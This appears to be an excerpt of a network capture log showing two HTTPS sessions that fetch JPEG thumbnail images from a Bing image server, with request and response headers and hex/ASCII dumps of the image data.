2024-12-17 09:08:31 UTC	8192	IN	Data Raw: ff 00 3a 57 26 93 4d 0c 9f f5 ce a6 8f 54 99 63 91 7f ef 8a e5 ad 87 a9 52 5f 11 ed 60 33 3c 36 1e 9d a5 0d 4d cd 6e f3 47 6f f4 74 8e b9 9b 86 cc bf 29 93 65 36 69 9e 69 37 39 a5 92 56 6f be 7f 4a da 8d 0f 64 70 e3 b3 1f ac ca fb 09 e7 4c df 7e 5a 76 e9 64 fb f2 d3 39 f5 a5 4f 97 e7 ad b9 4f 37 da ce 5f 69 92 3c 33 47 45 1b 9e 59 77 35 15 3e a3 e7 97 d8 bd 8f 54 db 4d f2 ea e7 91 ef 47 91 ef 5f 27 ed 0f d0 7d 84 8a 7e 4e ea 3c 9f 7a b9 e5 d3 7c 9f 7a 3d a1 5f 57 29 f9 3e f5 1b c7 b6 b4 3c 9f 7a 3e cf 55 ed 49 96 1a 45 1f 2e 9a f0 56 87 93 ef 4d fb 3b b5 1e d4 9f aa 48 cf f2 e8 f2 eb 41 2d dd 45 12 5b bf fc f2 aa f6 f1 0f a9 cb 97 e1 33 7c 9f 7a 6a 43 5a 0f 6e eb ff 00 2c a9 be 4f bd 57 b5 46 32 c2 cb f9 4a 3e 5d 0f 0d 5c 68 77 51 e5 d1 ed 08 f6 5c c5 14 Data Ascii: :W&MTcR_`3<6MnGot)e6ii79VoJdpL~Zvd9OO7_i<3GEYw5>TMG_'}~N<z\|z=_W)><z>UIE.VM;HA-E[3\|zjCZn,OWF2J>]\hwQ\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49729	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:30 UTC	346	OUT	GET /th?id=OADD2.10239317301351_1SVL46QI5QTJ6JJDI&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 09:08:31 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 539849 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 92189D76811745DBAFD0E8B66AE191BD Ref B: EWR30EDGE0915 Ref C: 2024-12-17T09:08:31Z Date: Tue, 17 Dec 2024 09:08:30 GMT Connection: close
2024-12-17 09:08:31 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 33 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 30 36 3a 32 34 20 30 30 3a 35 33 3a 34 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 23.3 (Windows)2022:06:24 00:53:418C
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: 6f f1 7f 0e ef bf fd df af d2 93 cc 6f f9 e7 fd df fe b5 0d dd 02 d5 96 f7 23 7c cd 24 9f 71 7e 7f ba b4 e5 7d df 37 fc 07 ef fa 7f 0d 56 f3 37 4f b5 7f b9 ff 00 02 ff 00 eb 7e 14 ff 00 b4 37 cf bb ef 26 d5 f9 3f cf 34 af 61 b5 62 7d ff 00 c3 fb b9 77 3e dd 94 92 49 fd e9 3f 77 f7 9f fd d1 d3 ff 00 af 55 16 e1 be ea f9 9b 97 6e fd 9e fe b4 c9 25 46 fb b1 fc df 79 3f 0e f4 ee c4 5b 91 db ee c9 f3 6e f9 7f fd 5f dd a8 66 9d 57 7b 7e f3 e5 f9 7f dc a8 66 9f 6c 9b 97 cb 4f f6 ff 00 e0 5e 95 1c d2 6d 8d d5 7e 65 5f 99 13 fc ff 00 5a 4e 4c 56 27 90 e2 4f 2d bf ef bf e1 ff 00 3f d6 9a b3 1d 9f f2 d3 6e c6 f9 1f f8 ff 00 cf a5 41 27 f7 9a 4d cc df df ff 00 77 fb bf d6 a3 59 36 c8 9b bc c5 5f fb e7 f2 a9 2a 28 b1 e6 6e 8f 6c 9b 1f fb ff 00 fe cf a5 0b 3f ef 12 4f Data Ascii: oo#\|$q~}7V7O~7&?4ab}w>I?wUn%Fy?[n_fW{~flO^m~e_ZNLV'O-?nA'MwY6_*(nl?O
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: c7 1f cb fd 2a 3c 32 c7 e5 ff 00 75 15 7f 87 bf ae 29 ac 54 c7 b7 cc 8d 57 fe 03 f8 fe 34 2b af ce cd e6 37 ff 00 5e 8b 83 44 8b 2e e9 11 7f 77 fc 52 d2 c6 15 76 2f 97 1f cb f2 ec 7f f7 b3 86 c5 33 3f 72 39 3c c5 55 f9 7f d9 fc 29 ca f2 f9 7e 5b 7d e5 fe 07 ab 15 89 96 4d df 2f f0 fd d7 fc 39 c1 c5 3d 77 37 ca de 67 ca 9f 3f fb df de f6 3e f5 02 b6 df f9 69 f3 7f 06 ff 00 9b fc e2 96 6f 2b cb fd e4 9f 37 fb 6f ff 00 8f 71 4d 08 7f ca d1 f9 6b f7 a5 f9 be 4f ee fa fe 0d 49 24 9b 64 66 5f 97 f7 df 26 f4 a6 c8 77 6f 6f de 7f 17 fb 5b db ff 00 af 46 ed df 2a c9 e6 b7 f1 a7 d1 a9 92 31 77 2f fc b4 f9 a2 ff 00 d0 bf bd 4d 53 f7 16 4f f5 7f fd 8d 49 22 7f 0b 7c df f0 0d cb f7 aa 39 0b 2c 9f 37 fa c6 fe 34 ff 00 e2 a8 01 d0 ff 00 ab 85 97 e6 fe 1f ef 7c c6 9d 08 Data Ascii: <2u)TW4+7^D.wRv/3?r9<U)~[}M/9=w7g?>io+7oqMkOI$df_&woo[F1w/MSOI"\|9,74\|
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: c2 db 95 1d 3d fb 50 57 31 5e 30 ad ff 00 2d 36 ae cf bf fe d5 4b b1 97 fd 77 de 67 f9 ff 00 77 fe 7b d3 96 3d b1 a2 c7 f3 6e f9 93 63 ed f9 8f 6f ce a4 85 5b ee c7 e6 6d fb df ec ed f7 a0 39 86 7c ad 1f fc b3 db fc 7f ec 7b 8c 7f 17 a7 b5 48 ad b6 4f 31 7c c8 bf bf f7 bf c8 a4 8c 4b e6 2b 7d e6 54 f9 1f 7a ff 00 e3 b5 2c 7e 6f cf fe b3 e7 7f bf 40 73 09 96 58 fe 5f 97 e7 fb 9f c3 b7 e9 52 f9 6c bb 15 7e 5d bf 37 fb 5d 87 fc 07 6d 33 0c bb d9 63 91 55 be 6f 93 e6 fe 75 2b 06 8b 67 99 1e d9 36 6e 7f ee ee db db fa 53 b0 73 0b 9f e1 58 ff 00 bc c9 f3 ff 00 9e 95 27 f7 ff 00 77 bd 5b 77 fc 03 fb d5 1c 72 2a 6c 91 7e 75 5f 9b e7 a7 6d 65 f9 bf 76 ac bf 7d 3f da ff 00 0f f2 68 b0 39 12 6e 45 ff 00 57 f2 c6 bf 32 6c fe bd a9 f1 86 5d f1 fd e6 f9 7f da de a6 a3 Data Ascii: =PW1^0-6Kwgw{=nco[m9\|{HO1\|K+}Tz,~o@sX_Rl~]7]m3cUou+g6nSsX'w[wr*l~u_mev}?h9nEW2l]
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: 3f e0 1b b7 3e 2a 05 ff 00 56 fb a4 f9 bf 8d fe ef ca 79 a9 14 ed 93 77 ee f7 2f fb 0d b7 df ff 00 ad 40 0f 59 15 a4 4f e2 fe 2f f7 e9 54 33 ec db f3 32 27 c9 51 65 56 3f 2f fe 02 e9 fe cd 3d 7e 6f de 7f 7b 73 7d cf f3 cd 00 12 6d f9 d9 7e 55 6f f3 c7 7c 52 e1 fc bd bf c3 bd 97 67 dd fd 3e b4 b8 db f2 af fb bb 1f ef 3f f9 5a 48 e2 66 f9 7c bf ee ef 4f fd 08 67 fe 05 40 ae 2e 37 46 ad fb c6 66 fe e5 2c 9f ec c7 f7 9f e4 f9 fe fa ff 00 9e 29 8c 9b a3 ff 00 a6 9f 36 ff 00 93 d7 df d2 97 6e d9 36 ac 9f 32 fd c7 ff 00 eb ff 00 9c 50 30 66 ff 00 96 8b e6 2f c9 b5 36 7f 1f e1 e9 43 1f bd 1f 99 1f fc 0f fb dd a8 50 8d 1e df f8 0f fe 3b 4e 51 e6 ff 00 ab ff 00 80 7f bd b7 fa 50 03 3e 66 ff 00 75 be e7 f0 fc a2 9b 8f e2 ff 00 6d 7f de 45 65 ff 00 67 1d 29 f2 6d 78 Data Ascii: ?>*Vyw/@YO/T32'QeV?/=~o{s}m~Uo\|Rg>?ZHf\|Og@.7Ff,)6n62P0f/6CP;NQP>fumEeg)mx
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: aa be dd ef fd da 24 f9 f7 b3 79 9b be 5d fb ff 00 bd f8 51 70 23 61 ba 4d ad f7 57 ff 00 1c 5e ff 00 fd 6a 89 a2 ff 00 80 fc eb b3 7f f0 7b e2 ad 48 17 cc f9 7e 65 57 dc 88 e9 f9 1f c7 75 37 e6 49 3f ba cb f7 37 fb 70 39 3f e7 bd 30 21 61 f7 37 7c bb be 57 fe ef 3f de a6 32 6e 8d e3 6d 9b 5b e6 f9 3e 5f f6 79 c7 e9 53 fd e9 12 35 f3 1b fc f7 f5 a6 e1 57 ef 7f 7f 6e cf ef b7 6f ca 9c 77 13 d8 87 66 e9 37 37 f9 ed cf 6e d4 dd 8d e6 7c df 75 7e ff 00 f1 6c ff 00 7b ff 00 ad 53 46 37 40 8a d1 ef dc 9f 73 7f cb cf 3f fa 0d 33 cb dd b1 7c cd df f0 0f 95 fb 7f c0 4d 59 04 5b d5 77 cc de 5f fb 7f ec 7a f4 a7 46 bb 64 7d d2 46 ad f7 5f 7e d5 a7 ec 6f 91 96 39 37 2b af f0 37 f7 7d 69 37 af c9 fb c8 d7 fb 8f f2 fc 8d cf e5 40 06 cd b2 7d c8 e2 da ff 00 73 fc 68 f9 Data Ascii: $y]Qp#aMW^j{H~eWu7I?7p9?0!a7\|W?2nm[>_yS5Wnowf77n\|u~l{SF7@s?3\|MY[w_zFd}F_~o97+7}i7@}sh
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: ff 00 de ff 00 f5 55 01 36 59 b7 f9 9e 67 f7 5f f0 fe 74 b2 4d ba 47 66 f3 19 5f fe 05 fd ff 00 f6 b3 48 a1 7f 86 3f f7 11 fe 6f d3 bd 19 dd 1f fd 33 ff 00 d9 bd ff 00 cf 14 01 36 f6 fb d2 6f fe f3 bf f1 3f ff 00 aa 8f f9 68 fb 7e 5d bb 95 3f de db 96 c7 a6 7e 6a 66 fd ff 00 2f 97 fb cf 99 be e7 cd cf fb d4 48 ff 00 bc f9 7c c5 6d 9b 93 7f de f7 e4 7b 50 04 db f6 fd ef 95 5b 6f fd f3 ed 4f 51 2a ee dd 26 d6 57 56 99 dd ff 00 1e bf c4 df e4 54 3b d9 b7 ff 00 ac 56 fb df 3e ee d4 2c 9f c3 fc 5f c1 f8 d0 05 98 47 dc 8f e7 56 67 ff 00 c7 b7 7f 9e bf de eb 4c dd b6 3d df bb 5d df 73 ef 2f fd f3 4c 8d ff 00 78 9b 63 db 1b fc bb 3f 87 8f 6a 74 32 6e 8f 77 f7 bf ef af f0 0d 40 12 42 7f bd fc 3f df f9 be 9b 52 88 ca a4 88 be 66 d6 df ff 00 7c 37 66 fa 7e b5 59 64 Data Ascii: U6Yg_tMGf_H?o36o?h~]?~jf/H\|m{P[oOQ*&WVT;V>,_GVgL=]s/Lxc?jt2nw@B?Rf\|7f~Yd
2024-12-17 09:08:31 UTC	16067	IN	Data Raw: 7b fe 07 9f f0 a6 28 56 8d 37 79 9f 37 f1 ff 00 0b fa 7d ea 67 9a bf 3e ef f8 1b ff 00 ec d8 ee 69 8c 59 fe 6f de 79 df c7 fe c3 7d 4d 20 24 69 3c d9 37 37 97 fc 3b df ef 7f 9f eb 51 ee db f2 af 98 ac df f8 e2 9f ad 35 8c 5f 7b fb bf ec 7f 09 a6 33 ab 47 e6 7f 7b 73 6f fe e3 1a 00 74 32 3f c9 fe b3 e7 ff 00 c7 db 77 f9 e7 d2 9d bd 9f f7 87 e5 ff 00 d0 9f ff 00 ad 51 2c 8c 92 23 2b ee 6f bc 9f c3 4c cb 0f 97 fe 02 8f fd c5 db fe 73 40 13 ef fe 2f e1 6f 9b fd 97 fe 94 79 9f c2 bf 33 7f 71 13 ef e6 a9 b4 b1 34 6e bf bc fe 15 de ff 00 c7 ff 00 eb eb 51 c9 3e f9 36 f9 9b 7f e0 7f 7f 34 ae 34 5e 92 57 5d 9f ed 3a b3 ec f9 bd 3a 54 2b 22 af dd f2 f7 7f 07 fb 1f 37 bf ad 57 67 6f bb e5 ff 00 06 ed f4 ef 33 ee 6e f3 19 7f df f9 7f 0e fb a8 b8 c9 24 97 6f dd 93 ee Data Ascii: {(V7y7}g>iYoy}M $i<77;Q5_{3G{sot2?wQ,#+oLs@/oy3q4nQ>644^W]::T+"7Wgo3n$o
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: 7e ef 73 7d ef fd 9b a8 ff 00 0a 9d 63 6f 33 6c 7f c5 fd cf fe bf f0 ff 00 e8 34 f9 50 11 ec 8b ef 37 dd df ff 00 2d bf cf e5 4f 8e 16 5f e0 f9 53 fe fa ff 00 f6 aa 58 e3 fd de e5 fe e7 c9 fc 5b d7 bd 2f 97 17 cc ad f3 6d 7d bf 27 f7 ba b7 fe 3d 47 2a 02 2f 2f 7f cc d2 6e 65 fb ff 00 ed b7 f9 eb 44 90 2f de 6f 23 76 f6 57 df bb 6f de ff 00 d0 4d 58 8c 37 f1 49 b5 b6 7c fb 3f bd bb fc 2a 7f 2f 6f ca bf 79 7f 83 fd 93 47 2a 1a 2a 79 2a bf 76 3f 9b e6 6f 93 ef 7d 47 d7 b1 a4 31 aa c7 fb cf bb f7 9d ff 00 da 1f e7 ad 59 54 fd de e6 fb ad bb 7f de 6d fe e7 d6 9e b1 ff 00 17 97 b1 be f6 f4 4f 9b 6e ee 7a d1 ca 86 56 30 6c d9 ba 3f 2a 4f bb b1 fe 56 f4 34 91 c1 fc 4d fc 3f 7d ff 00 fd 7f ec d5 af bf f3 2c 7f 7b e5 4d ef f2 a6 ef 7f d6 9a cb fb b7 69 23 91 36 a2 Data Ascii: ~s}co3l4P7-O_SX[/m}'=G//neD/o#vWoMX7I\|?/oyG*yv?o}G1YTmOnzV0l?*OV4M?},{Mi#6
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: c3 ff 00 8f 7f 85 2c 67 76 c8 7c cf ef 7c 9b 3f bb f4 a1 4e ef bd fd f6 fe ee df 75 23 3d 7e 5f 5a 8b 1b a3 f2 ff 00 85 be 6f ef 2f b7 d7 1f fd 6a 00 99 64 65 ff 00 96 9f 33 6e f9 dd 17 ee 9e df ed 7e 55 24 df 26 e6 6f 99 55 1b 7b a7 b2 f1 83 8f bb 55 d8 fd f5 68 23 da c8 df ed 7f 2a 56 3b 76 32 c9 b7 6f f1 ff 00 0a 61 ba 7f e3 dc 7e 74 01 65 9f f7 8f b7 cc 97 6f dc 4d ff 00 7f 1d cb 52 42 57 cb 49 17 e6 8f e5 f9 d3 ef 7f df 5f ce a0 67 64 93 cc fb bf 75 be ff 00 e4 77 0f e2 fc 28 df b6 44 dd e6 79 8a fb 53 f8 5b df b6 3e bf 9d 00 4c a1 5a 3f f5 72 7c c9 fd ff 00 e5 eb 8a 8f 3b fe ec 92 37 c9 b7 7f f0 bf f7 76 f5 a8 57 6f 97 e5 af f7 d7 ee 7d e7 fa 7b 76 a4 92 4d d2 6e 92 49 3f f4 2e bc 7e 94 00 b9 dd f3 79 9f 2b 7c bf ec f3 cf dd a8 72 bf 79 a3 fb bf 7f Data Ascii: ,gv\|\|?Nu#=~_Zo/jde3n~U$&oU{Uh#*V;v2oa~teoMRBWI_gduw(DyS[>LZ?r\|;7vWo}{vMnI?.~y+\|ry

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49731	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:08:30 UTC	375	OUT	GET /th?id=OADD2.10239381881833_1L2KODT1PKU230D6J&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-17 09:08:31 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 764819 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C038F45D42F845DCB4D18BE1C5BCBA73 Ref B: EWR30EDGE0917 Ref C: 2024-12-17T09:08:31Z Date: Tue, 17 Dec 2024 09:08:31 GMT Connection: close
2024-12-17 09:08:31 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 18 38 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 34 3a 33 39 3a 33 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``8ExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 14:39:368
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: 34 3f 92 bb 2d 2a 7d f0 d7 13 62 d5 bd a6 dc c8 95 e7 d7 8b 67 6d 39 68 75 90 4b 4f 8d 51 e6 df 25 62 41 73 25 5a 8e f2 b8 dc 19 d1 cc 96 e6 a4 71 41 17 cf 4c 92 f2 3f e0 aa 1e 7c 8f 4e f2 a4 7a 9e 56 5a 91 6b cf f3 69 f2 59 ef a2 0b 6d 90 d4 f1 b5 43 6d 1a 68 53 92 c6 b3 6e b4 af df 6f ff 00 c8 75 d1 73 55 e7 f2 fb 55 46 a3 26 54 d3 3e 68 f2 a9 be 55 4b b6 9d b6 bf 5d e6 3f 9c f9 b5 b9 1e d3 4c d9 53 ed a6 ec ff 00 39 a3 98 87 72 2d 94 6c a9 f6 d1 22 d1 cc 57 2b b1 06 ca 36 55 af 2a 8f 2a 8e 64 87 c8 ca b1 ad 1b 2a c3 c7 8a 4d b4 73 12 dc 93 b1 0f 34 9b 2a 7d b4 d8 d6 8e 62 ac c8 a3 a3 65 4f b6 9b b6 9a 77 07 7b 10 62 9f cd 49 b6 8d b5 57 33 4d a2 2d 94 6c a9 63 5a 24 5a 8e 62 b4 b5 c8 f9 a7 6d 34 ed b4 6d aa 26 f7 22 d9 46 ca 9f 6d 37 6d 00 37 69 a6 6c Data Ascii: 4?-}bgm9huKOQ%bAs%ZqAL?\|NzVZkiYmCmhSnousUUF&T>hUK]?LS9r-l"W+6UdMs4*}beOw{bIW3M-lcZ$Zbm4m&"Fm7m7il
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: 32 aa 51 84 95 fa 99 fe 46 fa 5f 2a af f9 14 cf 2a a9 54 6f a9 0b 0e 91 4a 78 aa 39 16 af f9 55 14 90 6f aa 53 46 55 a9 cd ea 8c f9 22 d9 46 da d0 92 0a 27 8f f7 35 5e d1 18 bc 33 bb 33 f6 d3 7c ba b9 e4 53 76 d5 73 2e 86 4e 8c 91 4f cb 34 6d 35 6b c8 df 4e f2 3f 8e ab da 45 0a 34 64 fa 14 bc aa 5d a6 ae 79 75 17 95 47 b4 4c 72 a4 d1 06 d3 4e 8d 6a 5f 2b f7 d4 ef 2a 9f 3a 15 3a 6e e4 12 47 4d da 6a d6 d3 4e f2 b7 d1 cf dc 7e cb 9b 62 9a ae 68 da 6a fc 16 d5 3c 76 71 d4 4a b2 4c de 96 0e 55 12 32 76 9a 76 da d9 fb 0c 74 ff 00 b1 c7 51 f5 a8 1b 2c a6 b3 dd a3 0f 6d 4b e5 56 cf d8 63 a9 63 b1 8e a5 e2 a2 6b 0c 9e a3 ea 8c 3f 2a 96 48 ab 7b fb 3e 37 a3 fb 2a 3a 9f ad 43 a9 bf f6 2e 22 d6 d0 e7 3c aa 74 71 57 43 fd 95 50 ff 00 65 53 fa dd 36 64 b2 5c 4c 7a 18 Data Ascii: 2QF_*ToJx9UoSFU"F'5^33\|Svs.NO4m5kN?E4d]yuGLrNj_+::nGMjN~bhj<vqJLU2vvtQ,mKVcck?H{>7:C."<tqWCPeS6d\Lz
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: 00 a6 94 d9 3f bf 44 6d 41 2a 2d 0e a2 a3 dd 46 ea 09 e5 24 dd ef 45 47 1b 53 b7 50 0d 5c 77 dc a2 9b ba 9d 40 b9 42 9b 44 6d 45 02 51 6c 37 51 45 12 50 2b 30 dd 45 45 be 8d f5 42 25 dd 46 ea 8b cd a7 c6 df df a4 c3 95 b2 7d f4 23 54 14 6e a4 56 a8 92 9b ba 9b ba 99 be a8 86 ae 4b 23 53 77 54 3b bd e8 dd ef 41 2e 2c 9b 75 1b aa be ea 37 53 6a c5 45 68 58 dd 46 ea af ba 9b ba a9 2b 10 e2 c9 f7 d1 be ab f9 b4 79 b4 c5 62 c3 b5 33 77 bd 41 e6 d3 7c da 09 d1 22 d7 9b 4c dd 50 79 b4 c9 24 aa 11 6b 75 33 cd a8 3c ca 67 9b 4d 2b 8b 95 16 f7 51 ba aa 79 b4 79 b4 f9 45 ca 8b 7b a9 9b ea bf 9b 4d f3 68 e5 0e 62 d6 fa 3c da ab e6 d1 e6 d1 ca 12 95 91 6b cd a3 cd aa be 6d 37 cd a3 94 4d 58 b9 e6 d3 37 7b d5 6f 36 8f 36 8e 52 93 b9 6b cd a6 79 95 56 49 29 9e 6d 38 c4 Data Ascii: ?DmA*-F$EGSP\w@BDmEQl7QEP+0EEB%F}#TnVK#SwT;A.,u7SjEhXF+yb3wA\|"LPy$ku3<gM+QyyE{Mhb<km7MX7{o66RkyVI)m8
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: 28 a2 6d d4 6e a6 6f a3 7d 01 ca 89 63 6a 76 ef 7a 82 3a 7d 48 28 92 6e f7 a5 f3 69 91 fc f5 2c 71 54 c8 71 86 a4 b6 b7 3b 2a ff 00 da 7f ce 2b 3b c8 a7 7e f1 2b 19 45 33 78 49 a4 6c c1 79 57 e0 bc 8d eb 99 8e 59 12 a6 fb 4c 89 5c ce 8a 93 3a 63 59 a6 74 52 5c c7 f7 eb 3a ea 5f 36 b3 be d9 27 ad 32 3b 9a 71 a2 d3 1c ab 26 8d 18 fe 7a 7f dc aa 51 dc d3 fc fa a7 16 47 32 2e f9 f4 cd f5 57 cd a6 49 3d 4c 60 c4 68 6e a3 75 66 f9 f4 ff 00 36 ab 94 0b 9e 6d 3f cf ac fd d2 51 fb ca 76 27 98 d0 f3 f7 d3 79 aa e9 4e a4 1c 89 8e dd ef 44 8d 51 d3 aa 88 b1 2c 12 c8 94 c9 1a 84 a7 f9 52 54 9a 28 5c 8a 9b ba a4 db 4d f2 e9 dc 9e 46 33 cd a7 ee a6 c8 b4 53 0e 46 4f e6 d3 bc da ad ba 8d d5 20 d5 8b 91 c9 52 c7 3e ca a1 1c 94 e8 da a5 c6 e5 a9 1a f0 6a 12 25 4e 9a 9c 9f Data Ascii: (mno}cjvz:}H(ni,qTq;*+;~+E3xIlyWYL\:cYtR\:_6'2;q&zQG2.WI=L`hnuf6m?Qv'yNDQ,RT(\MF3SFO R>j%N
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: b3 e6 8a 95 63 a7 36 e7 3d 3a 35 62 9a 84 ae 91 04 72 c6 96 97 37 49 67 e5 c7 27 fa bf dd 6c 9b 64 7f f2 cd 2b 97 f1 56 b5 77 77 e2 69 20 fb 67 db 7c 3f 65 b2 39 3e cd 2a 22 79 ae 9f 2f cc fc 7c 8d 57 3c 55 fd ac f0 f9 1e 4c d2 4f 6f 1f fa 34 71 6f 7f b3 cb f7 bf 7a cd b4 b6 7b 2a 7d da c1 8e c7 52 f1 44 d6 3a 22 4d 35 94 7f b9 f3 3f 7a 9e 4c 91 7f 14 fb 3f 8f fd ea c6 8d 28 39 7b 49 1d 58 cc 5c d4 15 0a 69 df 4f 9f 97 a0 7c 39 d3 e4 b8 f0 f6 b7 a8 dd 7f a4 5d 5c 49 35 a7 99 2f cf fc 1f 27 c8 bf c3 bb f8 e8 d2 af b4 db 4d 73 fb 12 7f 27 c8 d3 a3 ff 00 8f 9f 37 fe 3e 1f ff 00 66 c5 5a f0 8b 4e 9f d9 3e 17 7b 38 63 b1 92 3b 99 24 bd 96 54 87 cc 4f 9f f7 9f 7b fb df c3 5c 94 1e 1e dd 77 f6 ab 28 66 8e 7b 79 3f d5 cb f3 cd e6 af cb ff 00 00 f9 ba 57 42 8a 9b Data Ascii: c6=:5br7Ig'ld+Vwwi g\|?e9>"y/\|W<ULOo4qoz{}RD:"M5?zL?(9{IX\iO\|9]\I5/'Ms'7>fZN>{8c;$TO{\w(f{y?WB
2024-12-17 09:08:31 UTC	16384	IN	Data Raw: 3f ec bd 6b 5f 0b 87 ab 24 8c 21 2a b4 fd eb 9e 9d 24 49 a8 78 66 fb 51 fb 67 f6 0c fa 8d b7 d9 e4 b9 b9 8b c9 b9 b4 4f 3b fb df f2 d3 fe 01 ff 00 8e d7 0b 1f 85 f5 dd 3f c4 3e 7f 87 be c9 ad 79 9b ee 23 fb 37 dc fd df ef 3e 68 bf bd b3 e6 f9 2b 0e 0b 3f 12 eb be 1e fe d4 d7 b5 2f 32 49 24 f2 ec a3 f2 9e 6f 33 fd ad a8 df 27 e5 5d ef 86 62 b4 d3 f4 3f b1 78 cb 5e d3 fe cb 1c 6f e5 c9 6d a7 a7 fe 84 e9 e6 7f c0 ab 34 a5 84 5a 4b 4e db d8 df d9 50 c4 bf 7d 59 be bd 0e 2b c2 ba e4 71 45 ab 3f 9d 0c 77 56 f1 a4 71 f9 92 bf fa 44 5b fe e7 fc f3 da bf 79 7e 5a e6 6d 6e 74 9b 8f b4 cf e7 43 e5 dc 49 fe 93 73 2c bb fe 4f bc db 3f ba d5 d7 49 a6 78 3e ca ee 37 d2 3e c9 aa fd a2 47 fb 4d cc b2 bb c3 e5 7d fd 9f 3e dd 98 ab 9a 3f 86 bc 09 7b a4 ef d5 ff 00 b3 e3 8e Data Ascii: ?k_$!*$IxfQgO;?>y#7>h+?/2I$o3']b?x^om4ZKNP}Y+qE?wVqD[y~ZmntCIs,O?Ix>7>GM}>?{
